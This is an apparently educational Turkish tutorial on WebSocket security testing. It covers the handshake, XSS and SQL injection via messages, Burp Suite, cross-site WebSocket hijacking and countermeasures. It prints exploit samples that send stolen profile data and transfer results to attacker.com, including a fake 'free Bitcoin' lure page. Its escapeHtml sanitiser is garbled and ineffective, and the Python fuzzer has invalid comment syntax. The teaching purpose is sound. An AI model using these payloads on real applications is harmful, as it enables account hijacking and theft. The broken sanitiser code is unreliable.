WebSockets Güvenlik Testi

Modern web uygulamalarının kalbi: Real-time iletişimden güvenlik açıklarına

ws://vulnerable-app.com
# Test zamanı

WebSockets Nedir?

WebSockets, web tarayıcıları ve sunucular arasında gerçek zamanlı, çift yönlü iletişim sağlayan bir protokoldür. Geleneksel HTTP'den farklı olarak, bağlantı kurulduktan sonra açık kalır ve her iki taraf da istediği zaman veri gönderebilir.

HTTP vs WebSocket
HTTP: Request-Response modeli, stateless, her istek için yeni bağlantı
WebSocket: Persistent connection, stateful, çift yönlü real-time iletişim
Kullanım Alanları: Chat uygulamaları, oyunlar, canlı borsa verileri, bildirimler
WebSocket Bağlantı Süreci

1. HTTP Handshake → 2. Protocol Upgrade → 3. WebSocket Connection → 4. Bidirectional Data Flow

WebSocket'in Avantajları:
  • Düşük Latency: Real-time veri aktarımı
  • Az Overhead: HTTP header'ları sürekli gönderilmez
  • Server Push: Sunucu istemci beklemeden veri gönderebilir
  • Persistent Connection: Bağlantı açık kalır

WebSocket Nasıl Çalışır?

WebSocket protokolü, HTTP üzerinden başlayan bir handshake işlemiyle kurulur ve ardından protokol upgrade'i gerçekleştirilir. Bu süreçte güvenlik kontrolleri yapılması kritik önemdedir.

WebSocket Handshake

// İstemci tarafından gönderilen HTTP handshake isteği
GET /chat HTTP/1.1
Host: example.com:8000
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com

// Sunucu yanıtı
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Güvenlik Header'ları
Sec-WebSocket-Key: İstemci tarafından generate edilen random değer
Sec-WebSocket-Accept: Sunucu tarafından key'in hash'i ile oluşturulan yanıt
Origin: CSRF koruması için kritik header (genellikle kontrol edilmez!)

Protokol Detayları

// JavaScript WebSocket kullanımı
const socket = new WebSocket('ws://example.com/chat');

socket.onopen = function(event) {
    console.log('Bağlantı kuruldu');
    socket.send('Merhaba Sunucu!');
};

socket.onmessage = function(event) {
    console.log('Mesaj alındı: ' + event.data);
};

socket.onerror = function(error) {
    console.error('WebSocket hatası: ', error);
};

socket.onclose = function(event) {
    console.log('Bağlantı kapandı');
};

WebSocket Güvenlik Açıkları

WebSockets, HTTP'de görülen hemen hemen tüm güvenlik açıklarına açıktır. Ancak persistent connection ve çift yönlü iletişim nedeniyle bazı açıklar daha kritik hale gelebilir.

Ana Güvenlik Riski: WebSocket trafiği genellikle geleneksel web güvenlik araçları (WAF, proxy'ler) tarafından yeterince incelenmez. Bu durum, saldırganların tespit edilmeden saldırı gerçekleştirmelerine olanak sağlar.
WebSocket Güvenlik Açık Kategorileri

Input-Based: XSS, SQLi, XXE
Authentication/Authorization: Bypass, Privilege Escalation
CSRF: Cross-Site WebSocket Hijacking
Data Leakage: Sensitive Information Disclosure

Input-Based Güvenlik Açıkları

WebSocket mesajları aracılığıyla gönderilen kullanıcı girdileri, sunucu tarafında güvenli olmayan şekilde işlenirse çeşitli saldırılara yol açabilir.

XSS via WebSockets

// Zararlı WebSocket mesajı (XSS payload)
{
  "message": "<img src=1 onerror='alert(document.cookie)'>",
  "user": "victim"
}

// Sunucu bu mesajı diğer kullanıcılara gönderirse...
{
  "type": "new_message",
  "content": "<img src=1 onerror='alert(document.cookie)'>",
  "from": "attacker"
}
Sonuç: Diğer kullanıcıların tarayıcısında JavaScript kodu çalıştırılır
Risk: Cookie çalma, session hijacking, kullanıcı adına işlem yapma

SQL Injection

// SQL Injection payload via WebSocket
{
  "action": "search_user",
  "username": "admin' UNION SELECT password FROM users--"
}

// Sunucu tarafında güvenli olmayan sorgu
"SELECT * FROM users WHERE username = '" + message.username + "'"
Blind Vulnerabilities: WebSocket üzerinden gerçekleştirilen saldırılarda yanıt hemen görülmeyebilir. Out-of-band (OAST) teknikleri kullanarak blind SQL injection'ları tespit edebilirsiniz.

Burp Suite ile WebSocket Testi

Burp Suite, WebSocket trafiğini yakalamak, analiz etmek ve manipüle etmek için güçlü araçlar sunar. Profesyonel penetrasyon testçilerinin olmazsa olmazı bir araçtır.

Mesaj Yakalama ve İnceleme

Burp Proxy Kurulumu
1. Burp Browser'ı açın
2. WebSocket kullanan uygulamaya gidin
3. Proxy → WebSockets history'de trafiği görün
4. Intercept → WebSocket interception rules'da ayarları yapın
// Burp'ta yakalanan WebSocket mesaj örneği
Direction: Client to server
Message: {"action":"send_message","content":"Hello World"}

// Manipüle edilmiş mesaj
Message: {"action":"send_message","content":"<script>alert('XSS')</script>"}

Burp Repeater ile Test

Burp Repeater Avantajları:
  • WebSocket mesajlarını tekrar tekrar gönderme
  • Farklı payload'ları test etme
  • Zamanlama ve yanıt analizi
  • Mesaj geçmişini inceleme

Handshake Manipülasyonu

// Orijinal handshake
GET /chat HTTP/1.1
Host: vulnerable-app.com
Origin: https://vulnerable-app.com
Cookie: session=abc123

// Manipüle edilmiş handshake
GET /chat HTTP/1.1
Host: vulnerable-app.com
Origin: https://attacker.com
X-Forwarded-For: 127.0.0.1
Cookie: session=hijacked_session
Pro Tip: WebSocket bağlantısı koparsa, Burp Repeater'da pencil ikonuna tıklayarak yeni handshake gerçekleştirin. Bu sayede farklı header'lar ve cookie'ler test edebilirsiniz.

Cross-Site WebSocket Hijacking

Cross-Site WebSocket Hijacking, CSRF'nin WebSocket versiyonudur. Saldırgan, kendi kontrol ettiği bir web sitesi üzerinden kurbanın WebSocket bağlantısını ele geçirebilir.

Saldırı Senaryosu
1. Kurban, legitimate-app.com'a giriş yapmış
2. Saldırgan, kurbanı attacker.com'a yönlendiriyor
3. attacker.com, kurbanın tarayıcısından legitimate-app.com'a WebSocket bağlantısı açıyor
4. Kurbanın session'ı ile işlemler gerçekleştiriliyor

Sömürü Kodu Örneği

// Saldırganın sitesindeki (attacker.com) JavaScript kodu
const socket = new WebSocket('wss://vulnerable-bank.com/account');

socket.onopen = function(event) {
    // Kurbanın hesap bilgilerini çek
    socket.send(JSON.stringify({
        "action": "get_account_info"
    }));
    
    // Para transferi yap
    socket.send(JSON.stringify({
        "action": "transfer_money",
        "to_account": "attacker_account",
        "amount": 10000
    }));
};

socket.onmessage = function(event) {
    // Gelen verileri saldırganın sunucusuna gönder
    fetch('https://attacker.com/steal-data', {
        method: 'POST',
        body: event.data
    });
};
Kritik Risk: Bu saldırı, kullanıcının hiçbir etkileşimi olmadan gerçekleşir. Sadece saldırganın sitesini ziyaret etmek yeterlidir. Özellikle finansal uygulamalarda hayati önem taşır.

WebSocket Güvenlik Önlemleri

WebSocket uygulamalarını güvenli hale getirmek için çok katmanlı bir yaklaşım benimsenmelidir. Her katmanda farklı güvenlik kontrolleri uygulanmalıdır.

WSS:// Protokolü Kullanımı

// ❌ Güvensiz - ws:// kullanımı
const socket = new WebSocket('ws://example.com/chat');

// ✅ Güvenli - wss:// kullanımı
const socket = new WebSocket('wss://example.com/chat');

CSRF Koruması

// Sunucu tarafında Origin header kontrolü
function validateOrigin(request) {
    const allowedOrigins = [
        'https://myapp.com',
        'https://www.myapp.com'
    ];
    
    const origin = request.headers.origin;
    
    if (!origin || !allowedOrigins.includes(origin)) {
        throw new Error('Invalid origin');
    }
}

// CSRF token ile ek koruma
const socket = new WebSocket(
    'wss://example.com/chat?csrf_token=' + csrfToken
);

Input Validation ve Sanitization

// Sunucu tarafında input validation
function validateMessage(message) {
    // JSON format kontrolü
    let parsed;
    try {
        parsed = JSON.parse(message);
    } catch (e) {
        throw new Error('Invalid JSON');
    }
    
    // Required field kontrolü
    if (!parsed.action || typeof parsed.action !== 'string') {
        throw new Error('Invalid action');
    }
    
    // XSS koruması
    if (parsed.content) {
        parsed.content = escapeHtml(parsed.content);
    }
    
    return parsed;
}

function escapeHtml(text) {
    return text
        .replace(/&/g, '&')
        .replace(/'<')
        .replace(/>/g, '>')
        .replace(/"/g, '"')
        .replace(/'/g, ''');
}
Güvenlik Checklist:
  • WSS:// protokolü kullanın
  • Origin header'ını kontrol edin
  • CSRF token implementasyonu
  • Rate limiting uygulayın
  • Input validation ve sanitization
  • Authentication ve authorization
  • Logging ve monitoring

Pratik Sömürü Örnekleri

Gerçek dünya senaryolarını simüle eden sömürü örnekleri ile WebSocket güvenlik açıklarını nasıl tespit edeceğinizi ve sömürebileceğinizi öğrenin.

XSS Sömürü Örneği

// 1. Normal mesaj gönderimi
{
  "action": "send_message",
  "content": "Merhaba arkadaşlar!",
  "room": "general"
}

// 2. XSS payload ile saldırı
{
  "action": "send_message",
  "content": "<img src=x onerror='fetch(\"/api/user/profile\").then(r=>r.json()).then(d=>fetch(\"https://attacker.com/steal\",{method:\"POST\",body:JSON.stringify(d)}))'>",
  "room": "general"
}
Sonuç: Diğer kullanıcıların profil bilgileri çalınır
Etki: Session hijacking, kişisel veri sızıntısı

CSRF Sömürü Örneği

// attacker.com üzerindeki zararlı sayfa
<!DOCTYPE html>
<html>
<head>
    <title>Bedava Bitcoin Kazanın!</title>
</head>
<body>
    <h1>Tebrikler! Bitcoin kazandınız!</h1>
    
    <script>
        // Kurbanın banking uygulamasına WebSocket bağlantısı
        const ws = new WebSocket('wss://bank.com/transfer');
        
        ws.onopen = () => {
            // Para transferi emri
            ws.send(JSON.stringify({
                "action": "transfer",
                "to_account": "TR000001234567890123456789",
                "amount": 5000,
                "description": "Kredi kartı ödemesi"
            }));
        };
        
        ws.onmessage = (event) => {
            // İşlem sonucunu saldırgana bildir
            fetch('https://attacker.com/success', {
                method: 'POST',
                body: event.data
            });
        };
    </script>
</body>
</html>
Saldırı Akışı: Kurban, aldatıcı e-posta ile attacker.com'a yönlendiriliyor → Sayfa otomatik olarak banking WebSocket'ine bağlanıyor → Kurbanın session'ı ile para transferi gerçekleştiriliyor

Otomatik Test Araçları

WebSocket güvenlik testlerini otomatikleştirmek için kullanılabilecek araçlar ve teknikler.

Popüler Test Araçları
Burp Suite Professional: En kapsamlı WebSocket test aracı
OWASP ZAP: Açık kaynak alternatif
wscat: Command line WebSocket istemcisi
Postman: WebSocket desteği ile API testi
Custom Python Scripts: Özelleştirilmiş test senaryoları
// Python ile WebSocket fuzzing
import asyncio
import websockets
import json

async def websocket_fuzzer():
    uri = "wss://target.com/chat"
    
    // XSS payloads
    xss_payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "javascript:alert('XSS')",
        "<svg onload=alert('XSS')>"
    ]
    
    async with websockets.connect(uri) as websocket:
        for payload in xss_payloads:
            message = {
                "action": "send_message",
                "content": payload
            }
            
            await websocket.send(json.dumps(message))
            response = await websocket.recv()
            
            print(f"Payload: {payload}")
            print(f"Response: {response}")
            print("-" * 50)

// Async çalıştır
asyncio.run(websocket_fuzzer())
Test Stratejisi: Manual testing ile başlayın, sonuçları değerlendirin ve ardından otomatik araçlarla detaylı fuzzing yapın. Her iki yaklaşım da değerli bilgiler sağlar.

WebSocket Güvenlik Uzmanı Olun!

Uzman Olmak İçin Adımlar
Pratik Yapın: DVWA, WebGoat, PortSwigger Web Security Academy
Araçları Öğrenin: Burp Suite Pro, OWASP ZAP
Bug Bounty: HackerOne, Bugcrowd platformlarında practice
Sertifikalar: OSCP, CWSP, CEH
Community: OWASP, InfoSec Twitter, Discord sunucuları

const websocket = new WebSocket('wss://secure-future.com');
websocket.onopen = () => console.log('Güvenlik uzmanı oldum!');

Real-time güvenliği sağlamak sizin elinizde!